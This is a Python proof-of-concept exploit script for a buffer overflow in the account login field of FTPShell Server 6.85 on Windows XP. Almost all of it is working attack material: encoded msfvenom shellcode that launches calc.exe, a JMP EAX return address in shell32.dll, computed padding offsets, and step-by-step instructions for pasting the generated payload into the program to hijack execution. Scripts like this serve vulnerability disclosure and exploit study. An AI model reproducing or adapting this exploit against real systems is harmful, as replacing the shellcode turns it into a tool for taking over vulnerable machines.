#!/usr/bin/python
# Exploit Title:    FTPShell Server 6.85 - Add Account Buffer Overflow
# Date:             December 2nd, 2019
# Exploit Author:   boku
# Vendor Homepage:  http://www.ftpshell.com/index.htm
# SOftware Link:    http://www.ftpshell.com/downloadserver.htm
# Program Name:     FTPShell Server (Secure Plus edition)
# Version:          Version 6.85
# Tested on:        Windows XP Professional (32-bit)- 5.1.2600 Service Pack 3 Build 2600
# Recreate:
#           - Install FTPShell Server v6.85
#           - open 'FTPShell Server Administrator'
#           - Click button 'Manage FTP Accounts..'
#           - Click button 'Configure accounts..' 
#           - Click button 'Add'
#           - Run python script & transfer 'poc.txt' to windows box
#           - Open 'poc.txt' & select-all, then copy 
#           - Paste poc.txt text blob into 'Login' text-box
#           - Press button 'OK'; program will crash & shellcode will execute

blt = '\033[92m[\033[0m+\033[92m]\033[0m '  # green success bullet
err = '\033[91m[\033[0m!\033[91m]\033[0m '  # red   fail    bullet

try: 
    f = open('poc.txt', 'w')                # open file for write
    # Instructions @ Crash: 
    #   1. mov ecx,[esi+7c0]; 
    #   2. mov eax,[ecx]; lea edx, [ebp-4]; push edx; 
    #   3. call [eax+2c4];
    # exploit leaves 708 bytes for shellcode.
    #msfvenom -p windows/exec CMD='calc.exe' -a x86 --platform windows -b '\x00' -v shellcode -f python
    #x86/shikata_ga_nai chosen with final size 220
    shellcode =  b""
    shellcode += b"\xbb\x4f\x79\xd7\xce\xda\xde\xd9\x74\x24\xf4"
    shellcode += b"\x5a\x2b\xc9\xb1\x31\x31\x5a\x13\x83\xea\xfc"
    shellcode += b"\x03\x5a\x40\x9b\x22\x32\xb6\xd9\xcd\xcb\x46"
    shellcode += b"\xbe\x44\x2e\x77\xfe\x33\x3a\x27\xce\x30\x6e"
    shellcode += b"\xcb\xa5\x15\x9b\x58\xcb\xb1\xac\xe9\x66\xe4"
    shellcode += b"\x83\xea\xdb\xd4\x82\x68\x26\x09\x65\x51\xe9"
    shellcode += b"\x5c\x64\x96\x14\xac\x34\x4f\x52\x03\xa9\xe4"
    shellcode += b"\x2e\x98\x42\xb6\xbf\x98\xb7\x0e\xc1\x89\x69"
    shellcode += b"\x05\x98\x09\x8b\xca\x90\x03\x93\x0f\x9c\xda"
    shellcode += b"\x28\xfb\x6a\xdd\xf8\x32\x92\x72\xc5\xfb\x61"
    shellcode += b"\x8a\x01\x3b\x9a\xf9\x7b\x38\x27\xfa\xbf\x43"
    shellcode += b"\xf3\x8f\x5b\xe3\x70\x37\x80\x12\x54\xae\x43"
    shellcode += b"\x18\x11\xa4\x0c\x3c\xa4\x69\x27\x38\x2d\x8c"
    shellcode += b"\xe8\xc9\x75\xab\x2c\x92\x2e\xd2\x75\x7e\x80"
    shellcode += b"\xeb\x66\x21\x7d\x4e\xec\xcf\x6a\xe3\xaf\x85"
    shellcode += b"\x6d\x71\xca\xeb\x6e\x89\xd5\x5b\x07\xb8\x5e"
    shellcode += b"\x34\x50\x45\xb5\x71\xae\x0f\x94\xd3\x27\xd6"
    shellcode += b"\x4c\x66\x2a\xe9\xba\xa4\x53\x6a\x4f\x54\xa0"
    shellcode += b"\x72\x3a\x51\xec\x34\xd6\x2b\x7d\xd1\xd8\x98"
    shellcode += b"\x7e\xf0\xba\x7f\xed\x98\x12\x1a\x95\x3b\x6b"
    # 3. call [eax+2c4];
    #    - Hexadecimal 0x2c4 = 708 decimal
    junk1 = '\x90' * (708-len(shellcode))
    #    - The call [eax+2c4] instruction will pass execution to the address located at EAX+708
    #    - Setting [EAX+708] to an existing JMP EAX instruction will pass execution to our shellcode
    #    - 0x7c9ef4c9  jmp eax | (Execute&Read) shell32.dll; aslr&rebase: false
    jmpEax = '\xc9\xf4\x9e\x7c'
    # 1. mov ecx,[esi+7c0]; 
    #    - ESI = 0x0012C108
    #    - esi+7c0 is in our supplied buffer, on the stack, at the time of the crash.
    #    - Control ECX @ offset 1568 bytes
    junk2 = '\x90' * (1568-len(shellcode+junk1+jmpEax))
    # 2. mov eax,[ecx]; 
    #    - ECX = 0x0012B768 = PTR (located on Stack) to the beginning of our shellcode in the Heap 
    #    - EIP 3-Byte Overwrite - '\x68\xb7\x12' 
    ecx = '\x68\xb7\x12'    #    - EIP 3-Byte Overwrite - '\x68\xb7\x12
    #    - The '\x00' is supplied by the program when pressing the 'OK' button
    #    - eax is now set to the address of our shellcode.
    f.write(shellcode+junk1+jmpEax+junk2+ecx)
    f.close()               # close the file
    print blt + 'poc.txt created successfully'
except:
    print err + 'poc.txt failed to create'